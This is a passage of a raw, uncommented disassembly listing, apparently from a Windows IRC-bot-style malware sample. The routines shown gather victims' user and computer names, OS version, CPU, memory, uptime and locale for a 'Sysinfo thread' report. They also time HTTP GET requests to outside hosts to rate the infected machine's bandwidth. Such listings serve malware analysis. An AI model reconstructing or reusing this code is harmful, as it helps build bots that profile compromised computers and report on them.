XREF: sub_40806A+85j movsx eax, [ebp+var_4] test eax, eax jnz short loc_408117 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408117: ; CODE XREF: sub_40806A+9Cj lea eax, [ebp+var_4] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push offset dword_418F54 push [ebp+arg_0] call sub_416B5E ; sprintf add esp, 18h push 1 pop eax locret_40813A: ; CODE XREF: sub_40806A+27j ; sub_40806A+4Fj leave retn sub_40806A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40813C proc near ; CODE XREF: sub_407928+54p ; sub_407928+9Dp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jz short loc_408150 mov eax, [ebp+arg_8] mov ecx, [ebp+arg_0] mov [eax], ecx loc_408150: ; CODE XREF: sub_40813C+Aj mov eax, [ebp+arg_8] mov eax, [eax] mov [ebp+var_8], eax jmp short loc_408161 ; --------------------------------------------------------------------------- loc_40815A: ; CODE XREF: sub_40813C:loc_4081A0j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_408161: ; CODE XREF: sub_40813C+1Cj mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jz short loc_4081A2 mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_408171: ; CODE XREF: sub_40813C+56j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_408194 mov eax, [ebp+var_4] movsx eax, byte ptr [eax] mov ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_408194 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_408171 ; --------------------------------------------------------------------------- loc_408194: ; CODE XREF: sub_40813C+3Dj ; sub_40813C+4Dj mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4081A0 jmp short loc_4081A2 ; --------------------------------------------------------------------------- loc_4081A0: ; CODE XREF: sub_40813C+60j jmp short loc_40815A ; --------------------------------------------------------------------------- loc_4081A2: ; CODE XREF: sub_40813C+2Dj ; sub_40813C+62j mov eax, [ebp+var_8] mov [ebp+var_C], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_4081AE: ; CODE XREF: sub_40813C:loc_4081F5j mov eax, [ebp+var_C] movsx eax, byte ptr [eax] test eax, eax jz short loc_4081F7 mov eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+var_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_4081D7 mov eax, [ebp+var_C] and byte ptr [eax], 0 mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_4081F7 ; --------------------------------------------------------------------------- loc_4081D7: ; CODE XREF: sub_40813C+8Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4081F5 mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_4081F5: ; CODE XREF: sub_40813C+AAj jmp short loc_4081AE ; --------------------------------------------------------------------------- loc_4081F7: ; CODE XREF: sub_40813C+7Aj ; sub_40813C+99j mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] mov [eax], ecx mov eax, [ebp+var_8] sub eax, [ebp+var_C] neg eax sbb eax, eax and eax, [ebp+var_8] leave retn sub_40813C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40820E proc near ; CODE XREF: sub_40821B:loc_408221p ; sub_40821B+1Cp push ebp mov ebp, esp push ebx push esi push edi rdtsc pop edi pop esi pop ebx pop ebp retn sub_40820E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40821B proc near ; CODE XREF: sub_4083AD+3A4p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h loc_408221: ; CODE XREF: sub_40821B+4Aj ; sub_40821B+55j call sub_40820E mov [ebp+var_20], eax mov [ebp+var_1C], edx push 3E8h call dword_41709C ; Sleep call sub_40820E sub eax, [ebp+var_20] sbb edx, [ebp+var_1C] push 0 push 186A0h push edx push eax call sub_416C90 push 0 push 0Ah push edx push eax call sub_416C90 mov [ebp+var_8], eax mov [ebp+var_4], edx cmp [ebp+var_4], 0 ja short loc_408221 jb short loc_408272 cmp [ebp+var_8], 0F4240h ja short loc_408221 loc_408272: ; CODE XREF: sub_40821B+4Cj push 0 push 64h push [ebp+var_4] push [ebp+var_8] call sub_416C10 mov [ebp+var_18], eax mov [ebp+var_14], edx mov [ebp+var_10], 64h and [ebp+var_C], 0 cmp [ebp+var_14], 0 ja short loc_4082AB jb short loc_4082A0 cmp [ebp+var_18], 50h jnb short loc_4082AB loc_4082A0: ; CODE XREF: sub_40821B+7Dj mov [ebp+var_10], 4Bh and [ebp+var_C], 0 loc_4082AB: ; CODE XREF: sub_40821B+7Bj ; sub_40821B+83j cmp [ebp+var_14], 0 ja short loc_4082C4 jb short loc_4082B9 cmp [ebp+var_18], 47h jnb short loc_4082C4 loc_4082B9: ; CODE XREF: sub_40821B+96j mov [ebp+var_10], 42h and [ebp+var_C], 0 loc_4082C4: ; CODE XREF: sub_40821B+94j ; sub_40821B+9Cj cmp [ebp+var_14], 0 ja short loc_4082DD jb short loc_4082D2 cmp [ebp+var_18], 37h jnb short loc_4082DD loc_4082D2: ; CODE XREF: sub_40821B+AFj mov [ebp+var_10], 32h and [ebp+var_C], 0 loc_4082DD: ; CODE XREF: sub_40821B+ADj ; sub_40821B+B5j cmp [ebp+var_14], 0 ja short loc_4082F6 jb short loc_4082EB cmp [ebp+var_18], 26h jnb short loc_4082F6 loc_4082EB: ; CODE XREF: sub_40821B+C8j mov [ebp+var_10], 21h and [ebp+var_C], 0 loc_4082F6: ; CODE XREF: sub_40821B+C6j ; sub_40821B+CEj cmp [ebp+var_14], 0 ja short loc_40830F jb short loc_408304 cmp [ebp+var_18], 1Eh jnb short loc_40830F loc_408304: ; CODE XREF: sub_40821B+E1j mov [ebp+var_10], 19h and [ebp+var_C], 0 loc_40830F: ; CODE XREF: sub_40821B+DFj ; sub_40821B+E7j cmp [ebp+var_14], 0 ja short loc_408325 jb short loc_40831D cmp [ebp+var_18], 0Ah jnb short loc_408325 loc_40831D: ; CODE XREF: sub_40821B+FAj and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408325: ; CODE XREF: sub_40821B+F8j ; sub_40821B+100j mov eax, [ebp+var_8] sub eax, [ebp+var_18] mov ecx, [ebp+var_4] sbb ecx, [ebp+var_14] add eax, [ebp+var_10] adc ecx, [ebp+var_C] mov [ebp+var_8], eax mov [ebp+var_4], ecx mov eax, [ebp+var_8] leave retn sub_40821B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408342 proc near ; CODE XREF: sub_40D043+156p ; sub_40D871+30Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1Fh push [ebp+arg_0] push 7 push 400h call dword_417034 ; GetLocaleInfoA neg eax sbb eax, eax neg eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] and byte ptr [eax+3], 0 cmp [ebp+var_4], 0 jz short loc_408381 push offset off_419100 push [ebp+arg_0] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_4083A8 loc_408381: ; CODE XREF: sub_408342+2Aj push 1Fh push [ebp+arg_0] push 7 push 800h call dword_417034 ; GetLocaleInfoA neg eax sbb eax, eax neg eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] and byte ptr [eax+3], 0 mov eax, [ebp+var_4] jmp short locret_4083AB ; --------------------------------------------------------------------------- loc_4083A8: ; CODE XREF: sub_408342+3Dj push 1 pop eax locret_4083AB: ; CODE XREF: sub_408342+64j leave retn sub_408342 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4083AD proc near ; DATA XREF: sub_4087C4+35o var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_73C = dword ptr -73Ch var_738 = dword ptr -738h var_734 = byte ptr -734h var_72C = dword ptr -72Ch var_728 = dword ptr -728h var_714 = dword ptr -714h var_710 = dword ptr -710h var_70C = dword ptr -70Ch var_708 = byte ptr -708h var_6F0 = dword ptr -6F0h var_6EC = dword ptr -6ECh var_6E8 = dword ptr -6E8h var_6E4 = dword ptr -6E4h var_6E0 = byte ptr -6E0h var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = byte ptr -6C8h var_524 = dword ptr -524h var_520 = dword ptr -520h var_51C = dword ptr -51Ch var_518 = dword ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = byte ptr -50Ch var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = byte ptr -47Ch var_409 = byte ptr -409h var_408 = byte ptr -408h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 750h push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_6CC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_734] push eax call dword_4170C4 ; GlobalMemoryStatus mov eax, [ebp+var_72C] add eax, 100000h shr eax, 14h mov [ebp+var_6F0], eax mov eax, [ebp+var_728] add eax, 100000h shr eax, 14h mov [ebp+var_738], eax call sub_4092A4 mov [ebp+var_714], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_6E8], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_524], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_6E4], eax mov [ebp+var_8], 15h mov [ebp+var_6D0], 10h lea eax, [ebp+var_8] push eax lea eax, [ebp+var_708] push eax call dword_417018 ; GetUserNameA lea eax, [ebp+var_6D0] push eax lea eax, [ebp+var_6E0] push eax call dword_417078 ; GetComputerNameA mov [ebp+var_520], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_51C] rep stosd lea eax, [ebp+var_520] push eax call dword_417030 ; GetVersionExA mov [ebp+var_48C], offset a? ; "?" mov [ebp+var_710], offset aNoSp ; "no SP" cmp [ebp+var_51C], 4 jnz short loc_408522 cmp [ebp+var_518], 0 jnz short loc_408522 cmp [ebp+var_510], 1 jnz short loc_40850A mov [ebp+var_48C], offset a95 ; "95" loc_40850A: ; CODE XREF: sub_4083AD+151j cmp [ebp+var_510], 2 jnz short loc_40851D mov [ebp+var_48C], offset aNt ; "NT" loc_40851D: ; CODE XREF: sub_4083AD+164j jmp loc_4085B6 ; --------------------------------------------------------------------------- loc_408522: ; CODE XREF: sub_4083AD+13Fj ; sub_4083AD+148j cmp [ebp+var_51C], 4 jnz short loc_408540 cmp [ebp+var_518], 0Ah jnz short loc_408540 mov [ebp+var_48C], offset a98 ; "98" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_408540: ; CODE XREF: sub_4083AD+17Cj ; sub_4083AD+185j cmp [ebp+var_51C], 4 jnz short loc_40855E cmp [ebp+var_518], 5Ah jnz short loc_40855E mov [ebp+var_48C], offset aMe ; "ME" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40855E: ; CODE XREF: sub_4083AD+19Aj ; sub_4083AD+1A3j cmp [ebp+var_51C], 5 jnz short loc_40857C cmp [ebp+var_518], 0 jnz short loc_40857C mov [ebp+var_48C], offset a2000 ; "2000" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40857C: ; CODE XREF: sub_4083AD+1B8j ; sub_4083AD+1C1j cmp [ebp+var_51C], 5 jnz short loc_40859A cmp [ebp+var_518], 1 jnz short loc_40859A mov [ebp+var_48C], offset aXp ; "XP" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40859A: ; CODE XREF: sub_4083AD+1D6j ; sub_4083AD+1DFj cmp [ebp+var_51C], 5 jnz short loc_4085B6 cmp [ebp+var_518], 2 jnz short loc_4085B6 mov [ebp+var_48C], offset a2003 ; "2003" loc_4085B6: ; CODE XREF: sub_4083AD:loc_40851Dj ; sub_4083AD+191j ... cmp [ebp+var_510], 2 jnz short loc_4085D6 movsx eax, [ebp+var_50C] test eax, eax jz short loc_4085D6 lea eax, [ebp+var_50C] mov [ebp+var_710], eax loc_4085D6: ; CODE XREF: sub_4083AD+210j ; sub_4083AD+21Bj call sub_40435B test eax, eax jz short loc_4085EB mov [ebp+var_744], offset aYes ; "Yes" jmp short loc_4085F5 ; --------------------------------------------------------------------------- loc_4085EB: ; CODE XREF: sub_4083AD+230j mov [ebp+var_744], offset aNo ; "No" loc_4085F5: ; CODE XREF: sub_4083AD+23Cj mov eax, [ebp+var_744] mov [ebp+var_4], eax and [ebp+var_47C], 0 and [ebp+var_409], 0 xor eax, eax cpuid mov [ebp+var_488], ebx mov [ebp+var_484], edx mov [ebp+var_480], ecx lea eax, [ebp+var_488] mov [ebp+var_6EC], eax and [ebp+var_70C], 0 lea eax, [ebp+var_70C] push eax push 20019h push 0 push offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"... push 80000002h call dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_4086B3 and [ebp+var_73C], 0 mov [ebp+var_740], 80h lea eax, [ebp+var_740] push eax lea eax, [ebp+var_488] push eax lea eax, [ebp+var_73C] push eax push 0 push offset aProcessornames ; "ProcessorNameString" push [ebp+var_70C] call dword_41700C ; RegQueryValueExA test eax, eax jnz short loc_4086A7 push 1 push 1 lea eax, [ebp+var_488] push eax call sub_407C2C add esp, 0Ch loc_4086A7: ; CODE XREF: sub_4083AD+2E5j push [ebp+var_70C] call dword_417028 ; RegCloseKey loc_4086B3: ; CODE XREF: sub_4083AD+2A8j cmp [ebp+var_6E4], 1 jnz short loc_4086C8 mov [ebp+var_748], offset byte_41DF00 jmp short loc_4086D2 ; --------------------------------------------------------------------------- loc_4086C8: ; CODE XREF: sub_4083AD+30Dj mov [ebp+var_748], offset dword_4191F4 loc_4086D2: ; CODE XREF: sub_4083AD+319j cmp [ebp+var_524], 1 jnz short loc_4086E7 mov [ebp+var_74C], offset byte_41DF00 jmp short loc_4086F1 ; --------------------------------------------------------------------------- loc_4086E7: ; CODE XREF: sub_4083AD+32Cj mov [ebp+var_74C], offset dword_4191F4 loc_4086F1: ; CODE XREF: sub_4083AD+338j cmp [ebp+var_6E8], 1 jnz short loc_408706 mov [ebp+var_750], offset byte_41DF00 jmp short loc_408710 ; --------------------------------------------------------------------------- loc_408706: ; CODE XREF: sub_4083AD+34Bj mov [ebp+var_750], offset dword_4191F4 loc_408710: ; CODE XREF: sub_4083AD+357j lea eax, [ebp+var_708] push eax lea eax, [ebp+var_6E0] push eax push [ebp+var_748] push [ebp+var_6E4] push [ebp+var_74C] push [ebp+var_524] push [ebp+var_750] push [ebp+var_6E8] push [ebp+var_4] push [ebp+var_6F0] push [ebp+var_738] call sub_40821B push eax push [ebp+var_6EC] push [ebp+var_514] push [ebp+var_518] push [ebp+var_51C] push [ebp+var_710] push [ebp+var_48C] push offset dword_419104 push 400h lea eax, [ebp+var_408] push eax call sub_416BAE ; _snprintf add esp, 54h lea eax, [ebp+var_408] push eax push offset dword_418B64 lea eax, [ebp+var_6C8] push eax call sub_40D53F add esp, 0Ch push [ebp+var_6CC] call sub_409763 pop ecx xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_4083AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087C4 proc near ; CODE XREF: sub_40A9CF+1B9Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4087DE jmp short locret_408806 ; --------------------------------------------------------------------------- loc_4087DE: ; CODE XREF: sub_4087C4+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aSysinfoThread ; "Sysinfo thread" push 0 push [ebp+var_4] push offset sub_4083AD call sub_4095A4 add esp, 10h locret_408806: ; CODE XREF: sub_4087C4+18j leave retn sub_4087C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408808 proc near ; CODE XREF: sub_408887+Bp ; sub_408887+19p ... var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch push [ebp+arg_0] lea eax, [ebp+var_28] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_28] push eax call sub_4105FB pop ecx call sub_416B64 ; clock mov [ebp+var_4], eax push 7D0h push 0 push offset a80 ; "80" lea eax, [ebp+var_28] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax push [ebp+var_8] call sub_4053B1 pop ecx cmp [ebp+var_8], 0 jnz short loc_40885F mov eax, 3E8h jmp short locret_408885 ; --------------------------------------------------------------------------- loc_40885F: ; CODE XREF: sub_408808+4Ej call sub_416B64 ; clock sub eax, [ebp+var_4] cmp eax, 3E8h jnb short loc_40887B call sub_416B64 ; clock sub eax, [ebp+var_4] mov [ebp+var_2C], eax jmp short loc_408882 ; --------------------------------------------------------------------------- loc_40887B: ; CODE XREF: sub_408808+64j mov [ebp+var_2C], 3E8h loc_408882: ; CODE XREF: sub_408808+71j mov eax, [ebp+var_2C] locret_408885: ; CODE XREF: sub_408808+55j leave retn sub_408808 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408887 proc near ; CODE XREF: sub_408B30+1C2p ; sub_40CA29+1E9p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset dword_418F60 call sub_408808 pop ecx mov [ebp+var_4], eax push offset dword_418F6C call sub_408808 pop ecx mov [ebp+var_8], eax push offset dword_418F84 call sub_408808 pop ecx mov [ebp+var_C], eax push offset dword_418F90 call sub_408808 pop ecx mov [ebp+var_10], eax push offset dword_418FA0 call sub_408808 pop ecx mov [ebp+var_14], eax push offset dword_418FB0 call sub_408808 pop ecx mov [ebp+var_18], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] add eax, [ebp+var_C] add eax, [ebp+var_10] add eax, [ebp+var_14] add eax, [ebp+var_18] xor edx, edx push 6 pop ecx div ecx leave retn sub_408887 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4088FC proc near ; CODE XREF: sub_408B30:loc_408D33p var_438 = qword ptr -438h var_430 = dword ptr -430h var_42C = qword ptr -42Ch var_424 = dword ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = byte ptr -308h var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 438h and [ebp+var_8], 0 jmp short loc_408912 ; --------------------------------------------------------------------------- loc_40890B: ; CODE XREF: sub_4088FC+23j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_408912: ; CODE XREF: sub_4088FC+Dj mov eax, [ebp+var_8] cmp off_418FC4[eax*4], 0 jz short loc_408921 jmp short loc_40890B ; --------------------------------------------------------------------------- loc_408921: ; CODE XREF: sub_4088FC+21j mov eax, [ebp+var_8] shr eax, 1 mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_408936 ; --------------------------------------------------------------------------- loc_40892F: ; CODE XREF: sub_4088FC+D6j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_408936: ; CODE XREF: sub_4088FC+31j cmp [ebp+var_4], 3 jnb loc_408B2C mov eax, [ebp+var_8] dec eax push eax push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_318], eax mov eax, [ebp+var_318] shl eax, 1 push off_418FC4[eax*4] lea eax, [ebp+var_418] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_418] push eax call sub_4105FB pop ecx mov eax, [ebp+var_318] shl eax, 1 push off_418FC8[eax*4] lea eax, [ebp+var_308] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_308] push eax call sub_4105FB pop ecx push 2710h push 0 push offset a80 ; "80" lea eax, [ebp+var_418] push eax call sub_4050EA add esp, 10h mov [ebp+var_310], eax cmp [ebp+var_310], 0 jnz short loc_4089D7 jmp loc_40892F ; --------------------------------------------------------------------------- loc_4089D7: ; CODE XREF: sub_4088FC+D4j lea eax, [ebp+var_418] push eax lea eax, [ebp+var_308] push eax push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push 200h lea eax, [ebp+var_208] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_208] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_208] push eax push [ebp+var_310] call sub_4053BF add esp, 0Ch and [ebp+var_314], 0 call sub_416B64 ; clock mov [ebp+var_41C], eax and [ebp+var_30C], 0 loc_408A3A: ; CODE XREF: sub_4088FC+1AFj ; sub_4088FC+22Bj push 1388h push 200h lea eax, [ebp+var_208] push eax push [ebp+var_310] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_408A93 cmp [ebp+var_420], 0FFFFFFFFh jz short loc_408A93 call sub_416B64 ; clock sub eax, [ebp+var_41C] cmp eax, 1388h jnb short loc_408A93 cmp [ebp+var_30C], 100000h jb loc_408B15 loc_408A93: ; CODE XREF: sub_4088FC+16Aj ; sub_4088FC+173j ... cmp [ebp+var_30C], 2000h jnb short loc_408AAD push [ebp+var_310] call sub_40538D pop ecx jmp short loc_408A3A ; --------------------------------------------------------------------------- loc_408AAD: ; CODE XREF: sub_4088FC+1A1j mov eax, [ebp+var_30C] mov dword ptr [ebp+var_42C], eax and dword ptr [ebp+var_42C+4], 0 fild [ebp+var_42C] fstp [ebp+var_430] call sub_416B64 ; clock sub eax, [ebp+var_41C] mov dword ptr [ebp+var_438], eax and dword ptr [ebp+var_438+4], 0 fild [ebp+var_438] fdiv flt_417270 fdivr [ebp+var_430] call sub_416CF8 ; _ftol mov [ebp+var_424], eax push [ebp+var_310] call sub_40538D pop ecx mov eax, [ebp+var_424] jmp short locret_408B2E ; --------------------------------------------------------------------------- loc_408B15: ; CODE XREF: sub_4088FC+191j mov eax, [ebp+var_30C] add eax, [ebp+var_420] mov [ebp+var_30C], eax jmp loc_408A3A ; --------------------------------------------------------------------------- loc_408B2C: ; CODE XREF: sub_4088FC+3Ej xor eax, eax locret_408B2E: ; CODE XREF: sub_4088FC+217j leave retn sub_4088FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408B30 proc near ; DATA XREF: sub_408E4A+35o var_A9C = qword ptr -0A9Ch var_A7C = qword ptr -0A7Ch var_A74 = dword ptr -0A74h var_A70 = dword ptr -0A70h var_A6C = dword ptr -0A6Ch var_A68 = dword ptr -0A68h var_A64 = dword ptr -0A64h var_A60 = dword ptr -0A60h var_A5C = byte ptr -0A5Ch var_8B8 = dword ptr -8B8h var_8B4 = dword ptr -8B4h var_8B0 = byte ptr -8B0h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = byte ptr -814h var_414 = byte ptr -414h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A7Ch push 1A7h push [ebp+arg_0] lea eax, [ebp+var_A60] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push offset dword_41F018 lea eax, [ebp+var_414] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_824] push eax push 0 push 0 push offset dword_41F018 call dword_41DF54 ; getaddrinfo test eax, eax jnz short loc_408BBC push 1 push 0 push 0 push 401h lea eax, [ebp+var_414] push eax mov eax, [ebp+var_824] push dword ptr [eax+10h] mov eax, [ebp+var_824] push dword ptr [eax+18h] call dword_41DF58 ; getnameinfo push [ebp+var_824] call dword_41DF5C ; freeaddrinfo loc_408BBC: ; CODE XREF: sub_408B30+54j call sub_409318 mov [ebp+var_8B8], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_830], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_820], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_82C], eax push offset aUnknown_0 ; "Unknown" lea eax, [ebp+var_8B0] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aUnknown_0 ; "Unknown" lea eax, [ebp+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp dword_41DF4C, 0 jz short loc_408C9F push 0 push 80h lea eax, [ebp+var_8B0] push eax lea eax, [ebp+var_818] push eax call dword_41DF4C ; InternetGetConnectedStateEx test eax, eax jz short loc_408C9F mov eax, [ebp+var_818] and eax, 1 test eax, eax jz short loc_408C8F push offset aModem ; "Modem" lea eax, [ebp+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_408C9F ; --------------------------------------------------------------------------- loc_408C8F: ; CODE XREF: sub_408B30+14Bj push offset aLan ; "LAN" lea eax, [ebp+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408C9F: ; CODE XREF: sub_408B30+11Fj ; sub_408B30+13Ej ... call sub_4043E9 test eax, eax jz short loc_408CB4 mov [ebp+var_A64], offset aYes ; "Yes" jmp short loc_408CBE ; --------------------------------------------------------------------------- loc_408CB4: ; CODE XREF: sub_408B30+176j mov [ebp+var_A64], offset aNo ; "No" loc_408CBE: ; CODE XREF: sub_408B30+182j mov eax, [ebp+var_A64] mov [ebp+var_8], eax call sub_404279 test eax, eax jz short loc_408CDC mov [ebp+var_A68], offset aYes ; "Yes" jmp short loc_408CE6 ; --------------------------------------------------------------------------- loc_408CDC: ; CODE XREF: sub_408B30+19Ej mov [ebp+var_A68], offset aNo ; "No" loc_408CE6: ; CODE XREF: sub_408B30+1AAj mov eax, [ebp+var_A68] mov [ebp+var_8B4], eax call sub_408887 mov [ebp+var_828], eax mov [ebp+var_81C], offset aBad ; "Bad" cmp [ebp+var_828], 2EEh jnb short loc_408D1D mov [ebp+var_81C], offset aAvarage ; "Avarage" loc_408D1D: ; CODE XREF: sub_408B30+1E1j cmp [ebp+var_828], 1F4h jnb short loc_408D33 mov [ebp+var_81C], offset aGood ; "Good" loc_408D33: ; CODE XREF: sub_408B30+1F7j call sub_4088FC mov [ebp+var_4], eax cmp [ebp+var_82C], 1 jnz short loc_408D50 mov [ebp+var_A6C], offset byte_41DF00 jmp short loc_408D5A ; --------------------------------------------------------------------------- loc_408D50: ; CODE XREF: sub_408B30+212j mov [ebp+var_A6C], offset dword_4191F4 loc_408D5A: ; CODE XREF: sub_408B30+21Ej cmp [ebp+var_820], 1 jnz short loc_408D6F mov [ebp+var_A70], offset byte_41DF00 jmp short loc_408D79 ; --------------------------------------------------------------------------- loc_408D6F: ; CODE XREF: sub_408B30+231j mov [ebp+var_A70], offset dword_4191F4 loc_408D79: ; CODE XREF: sub_408B30+23Dj cmp [ebp+var_830], 1 jnz short loc_408D8E mov [ebp+var_A74], offset byte_41DF00 jmp short loc_408D98 ; --------------------------------------------------------------------------- loc_408D8E: ; CODE XREF: sub_408B30+250j mov [ebp+var_A74], offset dword_4191F4 loc_408D98: ; CODE XREF: sub_408B30+25Cj push [ebp+var_A6C] push [ebp+var_82C] push [ebp+var_A70] push [ebp+var_820] push [ebp+var_A74] push [ebp+var_830] mov eax, [ebp+var_4] mov dword ptr [ebp+var_A7C], eax and dword ptr [ebp+var_A7C+4], 0 fild [ebp+var_A7C] fdiv flt_417274 push ecx push ecx fstp [esp+0A9Ch+var_A9C] push [ebp+var_828] push [ebp+var_81C] push [ebp+var_8B4] push [ebp+var_8] lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8B0] push eax lea eax, [ebp+var_414] push eax push offset dword_419284 push 400h lea eax, [ebp+var_814] push eax call sub_416BAE ; _snprintf add esp, 48h lea eax, [ebp+var_814] push eax push offset dword_418B64 lea eax, [ebp+var_A5C] push eax call sub_40D53F add esp, 0Ch push [ebp+var_A60] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_408B30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based 